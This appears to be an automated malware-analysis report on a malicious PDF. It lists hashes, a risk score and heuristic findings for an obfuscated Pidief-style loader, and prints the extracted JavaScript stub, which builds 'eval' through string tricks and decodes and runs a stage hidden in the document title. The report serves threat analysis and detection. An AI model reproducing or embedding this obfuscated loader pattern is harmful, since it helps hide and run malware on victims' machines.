Malicious PDF — malware analysis report

Static analysis result for SHA-256 512fb6a6854d490d…

MALICIOUS

PDF

44.9 KB First seen: 2012-10-18
MD5: a365f707de252020f177681ecdc4cd11 SHA-1: 1af77741f16c3313f7f219d409c3d498ae7f3466 SHA-256: 512fb6a6854d490d8577d2e3456b2c65fff8d892bc1745ec13ba61727968ffb4
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, flagged by heuristics and a high-confidence ML classifier. The JavaScript is likely intended to download and execute a second-stage payload, a common technique for delivering malware. No specific family could be identified from the available evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0E3 498 bytes
SHA-256: 8ea7a6a0a79b47f018e4314f8f7f765d4a832caa13b301803f07df1a7ff95028
Preview script
First 1,000 lines of the extracted script
plwvn='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = v[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
whbsv=e('ti'+'tle');
s=whbsv.substr(t.length + 8,3)+'str';
q=whbsv[s](1,(1,t.length + 7));
jxfpp=e(v[0].toUpperCase()+'tring.fro'+q);
q=whbsv[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	eccp = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	plwvn += jxfpp(eccp);
}
e(plwvn);

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